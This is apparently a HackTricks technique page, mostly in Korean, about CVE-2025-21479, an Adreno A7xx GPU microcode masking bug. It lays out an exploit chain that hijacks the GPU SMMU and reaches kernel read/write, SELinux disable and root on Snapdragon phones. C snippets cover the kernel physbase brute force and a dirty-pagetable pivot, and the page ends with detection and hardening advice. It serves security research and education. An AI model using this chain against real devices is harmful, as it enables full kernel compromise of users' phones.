Adreno A7xx SDS->RB 권한 우회 (GPU SMMU 장악 -> Kernel R/W)

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

이 페이지는 실제 환경에서 발견된 Adreno A7xx 마이크로코드 논리 버그(CVE-2025-21479)를 재현 가능한 익스플로잇 기법으로 추상화한다: Set Draw State (SDS)의 IB-level 마스킹을 악용해 비권한 앱에서 privileged GPU 패킷을 실행하고, GPU SMMU 장악으로 피벗한 뒤 dirty-pagetable 트릭을 통해 빠르고 안정적인 kernel R/W를 획득한다.

  • Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
  • Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
  • Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
  • Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).

배경: IB 레벨, SDS 및 $12 마스크

  • The kernel maintains a ringbuffer (RB=IB0). Userspace submits IB1 via CP_INDIRECT_BUFFER, chaining to IB2/IB3.
  • SDS is a special command stream entered via CP_SET_DRAW_STATE:
  • A6xx: SDS is treated as IB3
  • A7xx: SDS moved to IB4
  • Microcode tracks the current IB level in register $12 and gates privileged packets so they are only accepted when the effective level corresponds to IB0 (kernel RB).
  • Bug: A7xx microcode kept masking $12 with 0x3 (2 bits) instead of 0x7 (3 bits). Since IB4 & 0x3 == 0, SDS was misidentified as IB0, allowing privileged packets from user-controlled SDS.

이것이 중요한 이유:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Microcode diff 예시 (패치가 마스크를 0x7로 변경됨):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

익스플로잇 개요

목표: SDS(오독되어 IB0로 표기됨)에서 권한 있는 CP 패킷을 발행하여 GPU SMMU를 공격자가 만든 페이지 테이블로 재지정하고, 이후 GPU의 copy/write 패킷을 사용해 임의의 물리적 R/W를 수행. 마지막으로 dirty pagetable을 통해 빠른 CPU 측 R/W로 피벗.

High-level chain

  • 공격자가 만든 fake GPU pagetable을 shared memory에 구축
  • SDS로 진입해 다음을 실행:
  • CP_SMMU_TABLE_UPDATE -> fake pagetable로 전환
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> 읽기/쓰기 프리미티브 구현
  • CP_SET_DRAW_STATE with run-now flags (즉시 디스패치)

GPU R/W primitives via fake pagetable

  • Write: CP_MEM_WRITE를 공격자가 선택한 GPU VA로 보내고 해당 VA의 PTEs를 선택한 PA로 매핑하면 -> 임의의 물리적 쓰기
  • Read: CP_MEM_TO_MEM가 대상 PA에서 userspace-shared 버퍼로 4/8바이트를 복사 (더 큰 읽기는 배치)

Notes

  • 각 Android 프로세스는 KGSL context를 하나씩 갖는다 (IOCTL_KGSL_GPU_CONTEXT_CREATE). 컨텍스트 전환은 보통 RB에서 SMMU 테이블을 업데이트하는데, 이 버그는 SDS에서 이를 가능하게 한다.
  • 과도한 GPU 트래픽은 UI 블랙아웃이나 재부팅을 일으킬 수 있음; 읽기는 작게(4/8B) 하고 동기화는 기본적으로 느림.

Building the SDS command sequence

  • fake GPU pagetable을 shared memory에 스프레이하여 적어도 하나의 인스턴스가 알려진 물리 주소에 놓이게(예: allocator grooming과 반복을 통해)
  • 순서대로 다음을 포함하는 SDS 버퍼를 구성:
  1. CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
  2. 하나 이상 CP_MEM_WRITE 및/또는 CP_MEM_TO_MEM 패킷으로 새 번역을 사용한 R/W 구현
  3. CP_SET_DRAW_STATE with flags to run-now

정확한 패킷 인코딩은 펌웨어마다 다름; freedreno’s afuc/packet docs를 참고해 워드를 조립하고, SDS 제출 경로가 드라이버에서 사용되도록 확보하라.

Finding Samsung kernel physbase under physical KASLR

Samsung은 Snapdragon 장치에서 알려진 영역 내에서 kernel physbase를 랜덤화한다. 예상 범위를 brute-force하고 _stext의 처음 16바이트를 찾으라.

Representative loop

c
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

physbase가 알려지면, 선형 맵으로 kernel virtual을 계산한다:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

빠르고 안정적인 CPU 측 커널 R/W로 안정화하기 (dirty pagetable)

GPU R/W는 느리고 작은 그레인입니다. 자신의 프로세스 PTEs를 손상시켜 빠르고 안정적인 primitive로 전환합니다(“dirty pagetable”):

Steps

  • 느린 GPU R/W primitives를 사용해 현재 task_struct -> mm_struct -> mm_struct->pgd 찾기
  • 두 개의 인접한 userspace 페이지 A와 B를 mmap(예: 0x1000)
  • PGD->PMD->PTE를 따라 A/B의 PTE 물리 주소를 확인(헬퍼: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • B의 PTE를 덮어써서 A/B를 관리하는 최하위 pagetable을 RW 속성으로 가리키게 함(phys_to_readwrite_pte)
  • B의 VA를 통해 써서 A의 PTE를 변경해 대상 PFN들을 매핑; A의 VA로 커널 메모리를 읽고/쓰며, 센티널이 바뀔 때까지 TLB를 플러시
예시 dirty-pagetable pivot 스니펫
c
uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE);
page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx);
uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map);
uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1);
uint64_t pmd_off = get_pmd_offset((uint64_t)map);
uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1);
uint64_t pte_off = get_pte_offset((uint64_t)map);
uint64_t pte_addr = phys_pte + pte_off;
uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
while (page_map[0] == 0x4242424242424242) flush_tlb();

Detection and hardening

  • 펌웨어/마이크로코드: 모든 사이트에서 $12 마스킹을 0x7 (A7xx)로 사용하도록 수정하고 privileged packet gates를 감사
  • 드라이버: privileged packets에 대해 유효한 IB 레벨을 검증하고 컨텍스트별 allowlists를 적용
  • 텔레메트리: CP_SMMU_TABLE_UPDATE (또는 유사한 privileged opcodes)이 RB/IB0 외부, 특히 SDS에서 나타나면 경보; 4/8-byte CP_MEM_TO_MEM의 비정상적인 급증과 과도한 TLB flush 패턴을 모니터링
  • 커널: pagetable 메타데이터를 강화하고 user PTE 손상 패턴을 탐지

Impact

GPU 접근 권한이 있는 로컬 앱은 privileged GPU packets을 실행하고 GPU SMMU를 하이재킹하여 임의의 커널 물리/가상 R/W를 달성하고 SELinux를 비활성화하며 영향을 받는 Snapdragon A7xx 장치(예: Samsung S23)에서 루트 권한을 획득할 수 있습니다. 심각도: 높음 (커널 침해).

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기